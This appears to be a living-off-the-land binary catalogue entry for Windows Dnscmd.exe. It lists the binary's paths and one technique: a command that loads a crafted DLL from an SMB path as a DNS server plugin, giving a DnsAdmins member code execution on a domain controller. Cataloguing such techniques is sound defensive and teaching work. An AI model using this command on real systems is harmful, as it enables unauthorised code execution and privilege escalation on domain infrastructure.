Dnscmd.exe

type: OSBinaries
A command-line interface for managing DNS servers

Full path

C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe

Commands

  1. ExecuteDNS admin T1543.003

    Remotely inject dll to dns server

    dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}

    Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

    os: Windows server

    Execute: DLLExecute: Remote

Detection

Resources

acknowledgement: Shay Ber, Dimitrios Slamaris @dim0x69, Nikhil SamratAshok @nikhil_mitt